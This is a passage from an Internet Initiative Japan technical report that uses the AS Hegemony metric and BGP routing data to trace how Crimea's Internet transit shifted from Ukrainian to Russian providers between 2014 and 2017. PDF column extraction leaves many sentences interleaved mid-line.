R. Fontugne, A. Shah, and E. Aben. The (thin) Bridges of AS Connectivity: Measuring Dependency using AS Hegemony. In Proceedings of PAM’18. LNCS, 2018.

© Internet Initiative Japan Inc.

31

(ASy) = 1 means that ASy must be traversed to reachASes in the area. Values close to 0 could represent a transit

ASx, while values close to 0 mean that ASy is rarely seenAS that is either rarely seen on paths to all ASes in the area

on paths to ASx.

or heavily employed by only a handful of ASes.

We collected data from two RISs*6 (RRC00, RRC10) andAs a reference, we also compute the average AS Hegemony

two Routeviews

for all ASes registered in Ukraine and in Russia (excluding*7(RV2, LINX) collectors that account for

more than 100 BGP full-feed peers. We then computed AS

Crimean ASNs) and compare the results.

Hegemony values for all globally reachable ASes on the 15thof each month from January 2012 to December 2018*8.

■ Ukraine
As shown in Figure 1, the dependencies for Ukrainian ASes

To compute AS Hegemony scores for Crimea, we merged

are fairly stable from 2012 to 2018. The main changes are

results obtained for all origin ASNs located in the area. We

the decline of TOPNET and the rise of Blinking Megabit fromobtained AS Hegemony scores for the list of Crimea ASNs

2017; information on this transition is publicly available*9.

compiled in Section 3.3.1 and computed the average. The

These ASes are both owned by Datagroup, so our results

average AS Hegemony value also ranges from 0 to 1 andshow that Ukrainian networks are mainly dependent on

conveys network dependency across ASes. Values close to

Datagroup and UARNET. Other significant dependencies are

1 indicate transit ASes commonly seen on paths towards alllarge international ISPs, such as RETN (EU), Level 3 (US),Figure 1: Average AS Hegemony for networks located in Ukraine, Russia, and Crimea.
High AS Hegemony scores reveal networks that are central to reach a region.

*6

Routing Information Service, an Internet routing data collection and analysis service provided by RIPE (https://www.ripe.net/analyse/internet-measurements/routing-information-service-ris). RRC00 and RRC10 are two major repositories.

*7

A University of Oregon project that collects BGP routing information and makes it publicly available (http://www.routeviews.org/routeviews/). RV2 and LINX are two
major repositories.

32*8Internet Health Report. AS Hegemony REST API. https://ihr.iijlab.net/ihr/en-us/api, 05 2020.

*9

PeeringDB. Topnet, last updated on Sep. 4, 2017 (https://peeringdb.com/net/1157).

© Internet Initiative Japan Inc.

May.2022

Vol.

54

3. Focused Research (2)and Hurricane Electric (US). Since the RETN network is

two major events, the appearance of Miranda Media inprimarily deployed in East Europe and Russia *10, this2014 and the end of transit via Ukraine in 2017. We discuss

network is observed as a main transit for both countries.

these two phases in detail below.

Note that RETN was registered in May 2012 with thecountry code UA but changed to EU in July 2018.

3.3.3 Appearance of Miranda MediaThe appearance of Miranda Media was Russia’s first clear■ Russia

step toward consolidating Crimean connectivity. As Figure 1

Similar to what the Ukraine data show, the dependencies ofshows, multiple Crimean ASes switched to Miranda Media

Russian ASes stay fairly stable. The ASes are dependent mostly

as soon as it was made available in 2014. To understandon two state-owned ISPs, Rostelecom and Transtelecom, as

the Miranda Media adoption dynamics, we detail the main

well as two other major Russian ISPs, MegaFon (AS31133)

AS dependencies of Crimea from July to December 2014.

and SovAm/VimpelCom (AS3216). Also similar to Ukraine,
there are dependencies on RETN, Level 3, and Hurricane

We found that 55 out of the 78 Crimean ASes that wereElectric.

active in 2014 had a strong dependency on Miranda Media(H > 0.5) during 2014. Figure 2 depicts these 55 ASes (left■ Crimea

nodes) and their major AS dependencies in 2014 (all other

Unlike those for Ukraine and Russia, the AS dependencies ofnodes). If an AS depends equally on multiple networks, weCrimean ASes changed drastically. In 2012 and 2013, theretake its major dependency to be the closest non-Crimean

were the same dependencies as in the Ukraine along with

AS. For example, networks with a dependency of H = 1

dependencies on local Crimean ISPs (CrimeaCom, CrelCom,

for CrimeaCom South, Miranda Media, and Rostelecom are

and ACS) and a weak dependency on Rostelecom. These

classified as Miranda Media.

results reveal the role of local Crimean ISPs as a proxy tolarger Ukrainian and international ISPs. 2014 is marked by

As of July, the dependencies remained similar to whata significant increase in dependency on a new AS, Miranda

we had observed for Crimea since 2012, but significant

Media, and its parent company, Rostelecom.

changes came in the following two months with Miranda
Media appearing on paths to CrimeaCom South, CrelCom,

At that time, numerous AS paths began to feature theand ACS customers. Thus, by connecting to central

same pattern: they originate from Crimea and go through

Crimean ISPs, Miranda Media became the main transit net-

Miranda Media and then Rostelecom. This routing change

work for Crimea in a very short time frame.

significantly reduced the number of paths transiting
through Ukraine, a trend that continued until mid-2017,

From October 2014, however, we observe dependencies onafter which paths going through Ukrainian ASes were no

the three Crimean ISPs (Figure 2). These networks werelonger observed. From 2015, another Russian ISP, Fiord,

again seen on paths with Ukrainian upstreams instead ofalso became a common transit for Crimea, and as with the

Miranda Media. Operators informed us that Ukrainian ISPs

Miranda Media / Rostelecom pair, from August 2017 Fiord

were sometimes preferred because of the higher cost andconnected to Crimea via UMLC.

degraded quality experienced with Miranda Media.

In summary, the topology of Crimean networks has

Also, a few Datagroup customers switched to Miranda

evolved to a singular state where paths bound to theMedia every month, and thus Datagroup’s Crimean

peninsula converge on two ISPs (Rostelecom and Fiord)

customer count had fallen significantly by the end of 2015.

located outside of Crimea. The transition was marked by*10

RETN Network Map (https://retn.net/networkmap/).

© Internet Initiative Japan Inc.

33

In summary, the arrival of Miranda Media and connec-

In January 2017, CrimeaCom South relied on Fiord

tions to key ISPs had an immediate and significant impact(H = 0.8) and Ukrainian ISP WNET (H = 0.07, not shownon Internet routing in Crimea. We found, however, thatin Figure 3). In the months that followed, a few paths

networks had to maintain paths to Ukraine as Miranda

went through Miranda Media, and paths through WNETMedia’s capacity was insufficient. Also, about a third of

stopped completely on May 23. Then at 08:00 UTC on

Crimean ASes (23 out of 78 ASes active in 2014, not

July 19, all paths suddenly started going through Miranda

shown in Figure 2) did not commit to Miranda Media inMedia (H = 1.0).

2014 and kept their paths going through Ukrainian ISPs.
ACS relied equally on Dataline (not shown in Figure 3)
3.3.4 End of the Transition

and Miranda Media from January to June. On June 5,

Ukraine claimed that it stopped providing Internet

Dataline disappeared from ACS’s paths, being replaced byconnectivity to Crimea in July 2017. To understand con-

CrimeaCom South. And from June 2017, ACS followed thenectivity in Crimea before and after this key event, wesame changes as CrimeaCom South.

also investigated AS dependency changes for Crimean
ASes in 2017 (Figure 3).

In early 2017, CrelCom relied mainly on Russian networks
Fiord (H = 0.65) and Miranda Media (H = 0.25) but later

We look at the four ASes that relied mainly on Ukrainian

had two drastic routing changes. In February, almost all

ISPs from January to May 2017 (the four ASes relying on

paths to CrelCom began transiting through Rostelecom

Pitline and TOP NET on the left of Figure 3). At the time,(H= 0.95). Then at 11:30 UTC on July 19, 2.5 hours

Miranda Media / Rostelecom and Fiord provided Internet

after CrimeaCom South switched entirely to Miranda

to a large fraction of Crimean ASes, but the three main

Media, all paths to CrelCom also began transiting via

Crimean ISPs (CrimeaCom South, CrelCom, and ACS) still

Miranda Media. At the time, Fiord was no longer being

had connections with Ukraine.

used in Crimea and the Miranda Media / Rostelecom pairFigure 2: Adoption of Miranda Media
Main dependencies of Crimean ASes from July to December 2014. Left nodes represent Crimean ASes, other nodes are the main dependencies of Crimean
ASes at different points in time. Only the highest dependencies are shown. In the case of a tie, the closest AS to Crimea is selected.

34© Internet Initiative Japan Inc.

May.2022

Vol.

54

3. Focused Research (2)was dominating Crimean connectivity (Figure 3, August

So in 2017, we observe routing changes that lead to a2017).

particular topology with a choke point composed of two
pairs: Miranda Media / Rostelecom and UMLC / Fiord

A month later, on August 22, 2017, UMLC began providing(Figure 3). This topology is substantially different fromconnectivity to Crimea. At first, UMLC was only connected

the diverse connectivity observed before August 2014

to CrelCom in Crimea and Fiord in Russia. We measure(Figure 2).

about 20 Crimean ASNs with paths going through CrelCom,
UMLC, and Fiord at the time. Fiord came back by the end

This report has examined network topology changes madeof 2017 as a major provider to Crimea via ULMC (see also

visible by our AS Hegemony metric based on BGP routing

Figure 1). UMLC was subsequently connected directly to

information. We have made public the tools and datasets

other Crimean ASes but seemed to use Fiord exclusively

we developed in the course of this research. Details of ouras upstream provider, thus forming the UMLC / Fiord pair

AS Hegemony metric of Internet dependencies can also

depicted in Figure 1.

be found in other papers referenced herein*11,*12.

Figure 3: End of the Transition
Main dependencies of Crimean ASes in 2017. Left nodes represent Crimean ASes, other nodes are the main dependencies of Crimean ASes at different
points in time. Only the highest dependencies are shown. In the case of a tie, the closest AS to Crimea is selected.

Romain Fontugne
Senior Researcher, IIJ Innovation Institute*11

Tools and datasets: Internet Health Report. AS Hegemony REST API (https://ihr.iijlab.net/ihr/en-us/api), 05 2020. Internet Health Report. Measuring as-dependency ofa country (https://github.com/InternetHealthReport/), 05 2020.

*12

References: R. Fontugne, A. Shah, and E. Aben. The (thin) Bridges of AS Connectivity: Measuring Dependency using AS Hegemony. In Proceedings of PAM’18. LNCS, 2018.

© Internet Initiative Japan Inc.

35

54
May 2022 Vol.
About Internet Initiative Japan Inc. (IIJ)
IIJ was established in 1992, mainly by a group of engineers who
had been involved in research and development activities related
to the Internet, under the concept of promoting the widespreaduse of the Internet in Japan.
IIJ currently operates one of the largest Internet backbones
in Japan, manages Internet infrastructures, and provides
comprehensive high-quality system environments (includingInternet access, systems integration, and outsourcing services,etc.) to high-end business users including the government andother public offices and financial institutions.
In addition, IIJ actively shares knowledge accumulated throughservice development and Internet backbone operation, andis making efforts to expand the Internet used as a social
infrastructure.­­The copyright of this document remains in Internet Initiative Japan Inc.
(“IIJ”) and the document is protected under the Copyright Law of Japanand treaty provisions. You are prohibited to reproduce, modify, or makethe public transmission of or otherwise whole or a part of this document
without IIJ’s prior written permission. Although the content of thisdocument is paid careful attention to, IIJ does not warrant the accuracy andusefulness of the information in this document.
Initiative Japan Inc. All rights reserved.
© Internet
IIJ-MKTG020-0052

Internet Initiative Japan Inc.
Address: Iidabashi Grand Bloom, 2-10-2 Fujimi, Chiyoda-ku,
Tokyo 102-0071, Japan
Email: info@iij.ad.jp URL: https://www.iij.ad.jp/en/